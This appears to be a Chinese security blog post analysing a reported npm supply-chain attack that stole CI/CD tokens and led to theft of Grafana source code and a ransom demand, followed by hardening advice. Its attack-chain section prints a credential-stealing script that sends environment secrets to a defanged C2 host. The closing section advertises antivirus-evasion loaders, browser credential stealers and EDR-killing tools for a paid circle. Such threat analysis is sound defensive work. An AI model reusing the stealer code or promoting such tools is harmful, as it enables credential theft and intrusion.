文章总结: Grafana因遗漏GitHub令牌遭TeamPCP供应链攻击致源码泄露。攻击者通过污染TanStacknpm包窃取CI/CD凭证,利用Grafana轮换时遗漏的令牌下载源码并勒索。官方确认客户数据未受影响。建议企业落实最小权限、依赖锁定、SBOM审计与CI/CD沙箱化以强化防御。 综合评分: 87 文章分类: 供应链安全,威胁情报,安全运营,数据安全
一枚遗漏Token引发勒索危机!Grafana GitHub仓库遭供应链攻击深度复盘,幕后黑手坐拥3800个企业代码库
原创
星夜AI安全 星夜AI安全
星夜AI安全
2026年5月30日 16:31 吉林
在小说阅读器读本章
去阅读
🌈
Grafana Labs确认GitHub开发环境遭入侵:TanStack npm供应链投毒→CI/CD令牌外泄→源码被窃→勒索未遂。这是TeamPCP组织Mini Shai-Hulud行动的最新受害者,此前GitHub和OpenAI已相继沦陷
5月19日,全球领先的可观测性平台Grafana Labs发布安全声明,确认其GitHub开发环境遭到入侵,攻击者下载了包括主代码库和内部文档在内的大量源代码,并随后发出勒索要求。
这不是一起孤立事件。攻击者TeamPCP通过污染TanStack npm生态的84个恶意包版本,已成功入侵GitHub(3800个私有仓库)、OpenAI、Mistral AI等多家知名科技企业。Grafana成为这条产业链上的最新受害者——而所有这一切的起点,仅仅是一枚被遗忘在凭证轮换中的GitHub令牌。
一、事件概述
攻击者:TeamPCP(Mini Shai-Hulud恶意软件活动幕后组织)
受害者:Grafana Labs(跨国开源可观测性公司,被全球数千企业使用)
攻击类型:npm供应链攻击 → CI/CD凭证窃取 → GitHub仓库访问 → 数据勒索
时间线:
| 时间 | 事件 | | — | — | | 2026年5月11日 19:20-19:26 UTC | TeamPCP向42个TanStack npm包发布84个恶意版本,植入Mini Shai-Hulud信息窃取器 | | 5月11日(同日) | TanStack安全团队发现异常,开始清理恶意包 | | 5月11日(同日) | Grafana检测到CI/CD环境中的异常活动,启动应急响应 | | 5月11日-16日期间 | Grafana大规模轮换凭证,但一个自动化GitHub工作流令牌被遗漏 | | 5月16日 | 攻击者利用遗漏令牌持续访问Grafana GitHub仓库,下载源代码后发起勒索 | | 5月19日 | Grafana公开发布安全声明,确认事件经过 |
二、攻击过程还原:完整Kill Chain
阶段一:供应链投毒(upstream)
TeamPCP通过入侵TanStack项目的CI/CD流程或维护者账户,获得了向npm注册表发布包的能力。在短短6分钟内(19:20-19:26 UTC),攻击者向42个@tanstack命名空间下的包发布了84个恶意版本。
恶意代码的核心逻辑极为简洁但致命:
// Mini Shai-Hulud 信息窃取器核心逻辑(简化)
// 隐藏在TanStack包的postinstall或运行时钩子中
async function exfiltrateCredentials() {
try {
const secrets = {
GITHUB_TOKEN: process.env.GITHUB_TOKEN,
NPM_TOKEN: process.env.NPM_TOKEN,
AWS_ACCESS_KEY: process.env.AWS_ACCESS_KEY_ID,
AWS_SECRET: process.env.AWS_SECRET_ACCESS_KEY,
// 以及所有以 TOKEN, KEY, SECRET, PASSWORD 结尾的环境变量
...Object.fromEntries(
Object.entries(process.env).filter(([k]) =>
/(TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL)$/i.test(k)
)
)
};
// 将凭证发送到C2服务器
await fetch('hxxps://teamPCP-c2[.]com/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
package: process.env.npm_package_name,
hostname: require('os').hostname(),
secrets: secrets
})
});
} catch (e) {
// 静默失败,不触发任何错误日志
}
}
// 在安装后立即执行
if (process.env.CI === 'true' || process.env.GITHUB_ACTIONS === 'true') {
exfiltrateCredentials();
}
这段代码的特点:
- 仅在CI/CD环境中激活(检测
CI=true或GITHUB_ACTIONS=true),本地开发环境不受影响,极大降低被发现概率 - 静默失败:所有异常被吞掉,不会触发任何错误报告
- 全量收集:不仅收集已知的令牌变量名,还通过正则匹配收集所有可疑的环境变量
阶段二:令牌外泄与横向移动
Grafana的开发环境在依赖更新时拉取了被污染的TanStack包。CI/CD流水线执行过程中,恶意代码在完全授权的上下文中运行,将GitHub Actions令牌发送到TeamPCP的C2服务器。
Grafana安全团队在检测到异常后迅速响应:
- 旋转(轮换)了所有已知受影响的服务令牌
- 审查了仓库访问日志
- 加强了CI/CD环境的安全控制
但百密一疏——一个用于自动化工作流的GitHub令牌在轮换中被遗漏。这个令牌从5月11日一直存续到5月16日,成为攻击者持续访问Grafana GitHub环境的钥匙。
阶段三:数据窃取与勒索
攻击者利用这个遗漏的令牌:
- 访问了Grafana的多个GitHub仓库
- 下载了主代码库的完整副本
- 获取了用于团队协作和内部运营的私有文档仓库
- 收集了仓库中存储的邮件地址和商务联系人信息
5月16日,勒索组织CoinbaseCartel(TeamPCP的下游变现伙伴)向Grafana发出勒索要求:支付赎金,否则公开泄露所有窃取的源代码。
Grafana遵循FBI的标准建议,拒绝支付赎金。
三、影响评估与Grafana的回应
受影响的资产
| 资产 | 状态 | | — | — | | Grafana主代码库源码 | ⚠️ 已被下载 | | 内部文档/协作资料 | ⚠️ 已被访问 | | 商务联系人邮件 | ⚠️ 可能泄露 | | Grafana Cloud云平台 | ✅ 未被入侵 | | 客户生产系统 | ✅ 未受影响 | | 客户数据 | ✅ 未被访问 | | 代码完整性 | ✅ 未发现篡改 | | 发布流程/生产版本 | ✅ 未受影响 |
Grafana官方的关键声明
🌈
“我们确认攻击仅限于GitHub开发环境,Grafana Cloud平台和所有客户运行环境均未受到影响。我们没有发现任何证据表明代码库被篡改,也没有迹象显示发布流程或生产版本受到了影响。”
然而,需要注意的是,Grafana目前的结论主要基于自身取证调查,完整的第三方独立审计报告尚未公开。
行业连锁反应
此次事件是TeamPCP发起的Mini Shai-Hulud行动的延续。在该行动中:
- GitHub自身:3800个私有仓库源代码被窃取,在犯罪论坛上出售
- OpenAI:两台员工设备被入侵(通过TanStack + VS Code扩展双重攻击链),但用户数据和GPT模型未受影响
- Mistral AI:同样受TanStack污染影响,具体损失未公开
- Grafana:源代码被窃取并被勒索
🌈
截至5月23日,TeamPCP/Mini Shai-Hulud行动已影响至少160个npm和PyPI软件包,目标涵盖AI、开发者工具、可观测性等所有热门技术领域。
四、技术反思:为什么一个遗漏的令牌就够了?
供应链安全的盲点
现代软件开发严重依赖第三方包。一个典型的Node.js项目可能有1000+个传递依赖,其中任何一个包的发布流程被攻破,都可能导致整个CI/CD环境沦陷。
Grafana事件的教训:
npm install= 在CI/CD环境中执行不受信任的代码postinstall脚本钩子是无条件执行的——即使你只是require()了一个包- 令牌轮换必须100%覆盖——99%的正确率等于100%的失败
CI/CD安全加固建议
1. 最小权限原则
# GitHub Actions workflow 示例:最小化令牌权限
permissions:
contents: read # 仅读取代码
packages: read # 仅读取包
# 不授予 write / admin 权限!
2. 锁定依赖版本 + 完整性校验
{
"overrides": {
"@tanstack/*": {
"integrity": "sha512-..."
}
}
}
3. 实施软件物料清单(SBOM)
- 使用
npm sbom或syft生成SBOM - 在CI/CD流水线中自动审计新增依赖
- 对每次依赖变更进行安全评审
4. 沙箱化CI/CD环境
- 在独立容器中运行
npm install - 禁止构建容器访问生产环境密钥
- 使用OIDC短期令牌替代长期PAT
5. 实时监控令牌使用
- 对所有GitHub Token启用审计日志
- 设置地理位置/IP白名单限制
- 自动检测异常令牌使用模式
五、行业警示
Grafana事件再次验证了Verizon 2026年DBIR报告中的关键发现:供应链攻击正在成为最具破坏力的攻击向量。
从2025年的xz-utils后门事件,到2026年的TanStack/Mini Shai-Hulud行动,一个清晰的模式正在形成:
- 攻击者不再直接攻击目标,而是攻击目标的依赖
- 一次成功的供应链投毒可以同时收割数十家企业的凭证
- AI工具进一步压缩了攻击链的开发周期
对于安全团队来说,答案清晰的:把你使用的每一个第三方包当作潜在的威胁入口来对待。你的安全边界不是你公司的网络边界,而是你的 package.json 中的每一行。
关注星夜AI安全,第一时间获取供应链安全威胁情报与实战防御指南。
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
后续将不断更新到内部圈子中 欢迎加入圈子
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《一枚遗漏Token引发勒索危机!Grafana GitHub仓库遭供应链攻击深度复盘,幕后黑手坐拥3800个企业代码库》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论